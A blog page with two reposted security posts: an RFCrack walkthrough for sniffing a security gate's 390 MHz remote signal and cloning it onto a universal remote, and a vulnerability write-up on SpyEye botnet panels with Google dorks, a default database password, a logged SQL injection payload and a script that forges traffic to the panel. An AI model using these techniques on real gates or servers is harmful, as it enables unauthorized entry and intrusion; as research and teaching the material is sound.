Search This Blog

Monday, May 29, 2023

Hacking Everything With RF And Software Defined Radio - Part 3


Reversing Device Signals with RFCrack for Red Teaming


This blog was researched and automated by:
@Ficti0n 
@GarrGhar 
Mostly because someone didn't want to pay for a new clicker that was lost LOL

Websites:
Console Cowboys: http://consolecowboys.com 
CC Labs: http://cclabs.io

 CC Labs Github for RFCrack Code:
https://github.com/cclabsInc/RFCrack


Contrived Scenario: 

Bob was tasked to break into XYZ  corporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look. 

Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically.  Interestingly there was some kind of wireless technology in use. 

How do we go from watching a car go through a gate, to having a physical device that opens the gate?  

We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal.  Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack. 

Items used in this blog: 

Garage Remote Clicker: https://goo.gl/7fDQ2N
YardStick One: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR


 







Walkthrough Video: 




Remotely sniffing signals for later analysis: 

In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don't want to look suspicious. 

Recon:

Lets first use the scanning functionality in RFCrack to find known frequencies. We need to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.

Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at https://fccid.io/HBW7922/Test-Report/test-report-1755584 which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations. 


RFCrack Scanning: 

Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals.  If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance. 

Destroy:RFCrack ficti0n$ python RFCrack.py -k -f 310000000 315000000 390000000
Currently Scanning: 310000000 To cancel hit enter and wait a few seconds

Currently Scanning: 315000000 To cancel hit enter and wait a few seconds

Currently Scanning: 390000000 To cancel hit enter and wait a few seconds

e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000
Currently Scanning: 433000000 To cancel hit enter and wait a few seconds


Example of logging output: 

From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory.  For example the following captures were found in the log file in an easily parseable format: 

Destroy:RFCrack ficti0n$ cd scanning_logs/
Destroy:scanning_logs ficti0n$ ls
Dec25_14:58:45.log Dec25_21:17:14.log Jan03_20:12:56.log
Destroy:scanning_logs ficti0n$ cat Dec25_21\:17\:14.log
A signal was found on :390000000
c0000000000000000000000000008000000000000ef801fe003fe0fffc1fff83fff07ffe0007c0000000000000000000000000000000000000000000001c0000000000000000050003fe0fbfc1fffc3fff83fff0003e00000000000000000000000000000000000000000000007c1fff83fff003fe007fc00ff83fff07ffe0fffc1fff8001f00000000000000000000000000000000000000000000003e0fffc1fff801ff003fe007fc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000001f07ffe0dffc00ff803ff007fe0fffc1fff83fff07ffe0007c000000000000000000000000000000000000000000
A signal was found on :390000000
e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000



Analyzing the signal to determine toggle switches: 

Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious.  Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route. 

The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don't have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below. 



Let RFCrack Plot the Signal For you: 

The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you.  This saves time and allows you to use only one piece of hardware for all of the work.  This can easily be done with the following command: 

Destroy:RFCrack ficti0n$ python RFCrack.py -n -g -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c
-n = No yardstick attached
-g = graph a single signal
-u = Use this piece of data




From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above: 

Possible toggle switch scenarios:

  1. down down up up up down down down down
  2. up up down down down up up up up 

Configuring a remote: 

Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal.  In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.  

Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don't have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal. 

Comparing Signals: 

This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.  

Note:  Not every click will show output as some clicks will be on different frequencies, these don't matter since our recon confirmed the gate is communicating on 390Mhz. 

In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack: 

Open up 2 terminals and use the following commands: 

#Setup a sniffer on 390mhz
  Setup sniffer:      python RFCrack.py -k -c -f 390000000.     
#Monitor the log file, and provide the gates original signal
  Setup Analysis:     python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.  

Cmd switches used
-k = known frequency
-c = compare mode
-f = frequency
-n = no yardstick needed for analysis

Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)




Analyze Your Clicks: 

Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output.  If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on.  We don't care about those signals since they don't pertain to our target. 

At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match.  It will always graph the highest percentage within a click.  Sometimes there will be blank graphs when the data is wacky and doesn't work so well. This is fine since we don't care about wacky data. 

You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test. 

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.05
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.12
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.20
Percent Chance of Match for press is: 0.19
Percent Chance of Match for press is: 0.25
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.97
Percent Chance of Match for press is: 0.90
Percent Chance of Match for press is: 0.88
Percent Chance of Match for press is: 0.44
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png


Graph Comparison Output for 97% Match: 







Conclusion: 


You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack.  This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyze  RF signals within embedded devices. There are many scenarios these same techniques could assist in.  We also covered a few new features in RF crack regarding logging, graphing and comparing signals.  These are just a few of the features which have been added since the initial release. For more info and other features check the wiki. 
Related word
Posted by at No comments:

Sunday, May 28, 2023

Attacking Financial Malware Botnet Panels - SpyEye

This is the second blog post in the "Attacking financial malware botnet panels" series. After playing with Zeus, my attention turned to another old (and dead) botnet, SpyEye. From an ITSEC perspective, SpyEye shares a lot of vulnerabilities with Zeus. 

The following report is based on SpyEye 1.3.45, which is old, and if we are lucky, the whole SpyEye branch will be dead soon. 

Google dorks to find SpyEye C&C server panel related stuff:

  • if the img directory gets indexed, it is rather easy, search for e.g. inurl:b-ftpbackconnect.png
  • if the install directory gets indexed, again, easy, search for e.g. inurl:spylogo.png
  • also, if you find a login screen, check the css file (style.css), and you see #frm_viewlogs, #frm_stat, #frm_botsmon_country, #frm_botstat, #frm_gtaskloader and stuff like that, you can be sure you found it
  • otherwise, it is the best not to Google for it, but get a SpyEye sample and analyze it
And this is how the control panel login looks like, nothing sophisticated:


The best part is that you don't have to guess the admin's username ;)

This is how an average control panel looks like:


Hack the Planet! :)

Boring vulns found (warning, an almost exact copy from the Zeus blog post)


  • Clear text HTTP login - you can sniff the login password via MiTM, or steal the session cookies
  • No password policy - admins can set up really weak passwords
  • No anti brute-force - you can try to guess the admin's password. There is no default username, as there is no username handling!
  • Password autocomplete enabled - boring
  • Missing HttpOnly flag on session cookie - interesting when combining with XSS
  • No CSRF protection - e.g. you can upload new exe, bin files, turn plugins on/off :-( boring. Also the file extension check can be bypassed, but the files are stored in the database, so no PHP shell this time. If you check the following code, you can see that even the file extension and type is checked, and an error is shown, but the upload process continues. And even if the error would stop the upload process, the check can be fooled by setting an invalid $uptype. Well done ...
        if ($_FILES['file']['tmp_name'] && ($_FILES['file']['size'] > 0))         {                 $outstr = "<br>";                 set_time_limit(0);                 $filename = str_replace(" ","_",$_FILES['file']['name']);                 $ext = substr($filename, strrpos($filename, '.')+1);                 if( $ext==='bin' && $uptype!=='config' ) $outstr .= "<font class='error'>Bad CONFIG extension!</font><br>";                 if( $ext==='exe' && $uptype!=='body' && $uptype!=='exe' ) $outstr .= "<font class='error'>Bad extension!</font><br>";                  switch( $uptype )                 {                 case 'body': $ext = 'b'; break;                 case 'config': $ext = 'c'; break;                 case 'exe': $ext = 'e'; break;                 default: $ext = 'e';                 }                 $_SESSION['file_ext'] = $ext;                 if( isset($_POST['bots']) && trim($_POST['bots']) !== '')                 {                         $bots = explode(' ', trim($_POST['bots']));                         //writelog("debug.log", trim($_POST['bots']));                         $filename .= "_".(LastFileId()+1);                 }                 if( FileExist($filename) ) $filename .= LastFileId();                 $tmpName  = $_FILES['file']['tmp_name'];                 $fileSize = $_FILES['file']['size'];                 $fileType = $_FILES['file']['type'];                 ## reading all file for calculating hash                 $fp = fopen($tmpName, 'r');
  • Clear text password storage - the MySQL passwords are stored in php files, in clear text. Also, the login password to the form panel is stored in clear text.
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5. Just look at the pure simplicity of the login check, great work!
$query = "SELECT * FROM users_t WHERE uPswd='".md5($pswd)."'";
  • ClickJacking - really boring stuff

SQL injection


SpyEye has a fancy history of SQL injections. See details here, here, here, video here and video here.

It is important to highlight the fact that most of the vulnerable functions are reachable without any authentication, because these PHP files lack user authentication at the beginning of the files.

But if a C&C server owner gets pwned through this vuln, it is not a good idea to complain to the developer, because after careful reading of the install guide, one can see:

"For searching info in the collector database there is a PHP interface as formgrabber admin panel. The admin panel is not intended to be found on the server. This is a client application."

And there are plenty of reasons not to install the formgrabber admin panel on any internet reachable server. But this fact leads to another possible vulnerability. The user for this control panel is allowed to remotely login to the MySQL database, and the install guide has pretty good passwords to be reused. I mean it looks pretty secure, there is no reason not to use that.

CREATE USER 'frmcpviewer' IDENTIFIED BY 'SgFGSADGFJSDGKFy2763272qffffHDSJ';

Next time you find a SpyEye panel, and you can connect to the MySQL database, it is worth a shot to try this password.

Unfortunately the default permissions for this user is not enough to write files (select into outfile):

Access denied for user 'frmcpviewer' (using password: YES)

I also made a little experiment with this SQL injection vulnerability. I did set up a live SpyEye botnet panel, created the malware install binaries (droppers), and sent the droppers to the AV companies. And after more and more sandboxes connected to my box, someone started to exploit the SQL injection vulnerability on my server!

63.217.168.90 - - [16/Jun/2014:04:43:00 -0500] "GET /form/frm_boa-grabber_sub.php?bot_guid=&lm=3&dt=%20where%201=2%20union%20select%20@a:=1%20from%20rep1%20where%20@a%20is%20null%20union%20select%20@a:=%20@a%20%2b1%20union%20select%20concat(id,char(1,3,3,7),bot_guid,char(1,3,3,7),process_name,char(1,3,3,7),hooked_func,char(1,3,3,7),url,char(1,3,3,7),func_data)%20from%20rep2_20140610%20where%20@a=3%23 HTTP/1.1" 200 508 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)"

Although the query did not return any meaningful data to the attacker (only data collected from sandboxes), it raises some legal questions.

Which company/organization has the right to attack my server? 
  • police (having a warrant)
  • military (if we are at war)
  • spy agencies (always/never, choose your favorite answer)
  • CERT organisations?

But, does an AV company or security research company has the legal right to attack my server? I don't think so... The most problematic part is when they hack a server (without authorization), and sell the stolen information in the name of "intelligence service". What is it, the wild wild west?

The SQLi clearly targets the content of the stolen login credentials. If this is not an AV company, but an attacker, how did they got the SpyEye dropper? If this is an AV company, why are they stealing the stolen credentials? Will they notify the internet banking owners about the stolen credentials for free? Or will they do this for money?

And don't get me wrong, I don't want to protect the criminals, but this is clearly a grey area in the law. From an ethical point of view, I agree with hacking the criminal's servers. As you can see, the whole post is about disclosing vulns in these botnet panels. But from a legal point of view, this is something tricky ... I'm really interested in the opinion of others, so comments are warmly welcome.

On a side note, I was interested how did the "attackers" found the SpyEye form directory? Easy, they brute-forced it, with a wordlist having ~43.000 entries.

(Useless) Cross site scripting


Although parts of the SpyEye panel are vulnerable to XSS, it is unlikely that you will to find these components on the server, as these codes are part of the install process, and the installer fails to run if a valid install is found. And in this case, you also need the DB password to trigger the vuln...



Session handling


This is a fun part. The logout button invalidates the session only on the server side, but not on the client side. But if you take into consideration that the login process never regenerates the session cookies (a.k.a session fixation), you can see that no matter how many times the admin logs into the application, the session cookie remains the same (until the admin does not close the browser). So if you find a session cookie which was valid in the past, but is not working at the moment, it is possible that this cookie will be valid in the future ...

Binary server


Some parts of the SpyEye server involve running a binary server component on the server, to collect the form data. It would be interesting to fuzz this component (called sec) for vulns.

Log files revealed


If the form panel mentioned in the SQLi part is installed on the server, it is worth visiting the <form_dir>/logs/error.log file, you might see the path of the webroot folder, IP addresses of the admins, etc.

Reading the code


Sometimes reading the code you can find code snippets, which is hard to understand with a clear mind: 

$content = fread($fp, filesize($tmpName)); if ( $uptype === 'config' )     $md5 = GetCRC32($content); else $md5 = md5($content); .... <script> if (navigator.userAgent.indexOf("Mozilla/4.0") != -1) {         alert("Your browser is not support yet. Please, use another (FireFox, Opera, Safari)");         document.getElementById("div_main").innerHTML = "<font class=\'error\'>ChAnGE YOuR BRoWsEr! Dont use BUGGED Microsoft products!</font>"; } </script>

Decrypting SpyEye communication

It turned out that the communication between the malware and C&C server is not very sophisticated (Zeus does a better job at it, because the RC4 key stream is generated from the botnet password).

function DeCode($content) {         $res = '';         for($i = 0; $i < strlen($content); $i++)         {                 $num = ord($content[$i]);                 if( $num != 219) $res .= chr($num^219);         }         return $res; }
Fixed XOR key, again, well done ...
This means that it is easy to create a script, which can communicate with the SpyEye server. For example this can be used to fill in the SpyEye database with crap data.


import binascii import requests import httplib, urllib  def xor_str(a, b):     i = 0     xorred = ''     for i in range(len(a)):         xorred += chr(ord(a[i])^b)     return xorred              b64_data= "vK6yv+bt9er17O3r6vqPnoiPjZb2i5j6muvo6+rjmJ/9rb6p5urr6O/j/bK+5uP16/Xs7evq9ers7urv/bSo5u316vXs7evq/a6v5pq/trK1/bi4qbjm453j6uPv7Or9tr/u5um+uuvpve3p7eq/4+vsveLi7Lnqvrjr6ujs7rjt7rns/au3vOa5sre3srW8s7q2tr6p4Lm3tLiw4LmuvKm+q7Spr+C4uPu8qbq5ub6p4Li4vKm6ubm+qeC4qb6/sq+8qbq54LiuqK+0tri0tbW+uK+0qeC/v7So4L+1qLqrsuC+trqyt7ypurm5vqngvb24vqmvvKm6ubm+qeC9/aivuq/mtLW3srW+" payload =xor_str (binascii.a2b_base64(b64_data), 219)  print ("the decrypted payload is: " + payload) params = (binascii.b2a_base64(xor_str(payload,219))) payload = {'data': params} r = requests.post("http://spyeye.localhost/spyeye/_cg/gate.php", data=payload)

Morale of the story?


Criminals produce the same shitty code as the rest of the world, and thanks to this, some of the malware operators get caught and are behind bars now. And the law is behind the reality, as always.

Related articles
Posted by at No comments:

Hackerhubb.blogspot.com

Hackerhubb.blogspot.comMore information
Posted by at No comments:
Subscribe to: Posts (Atom)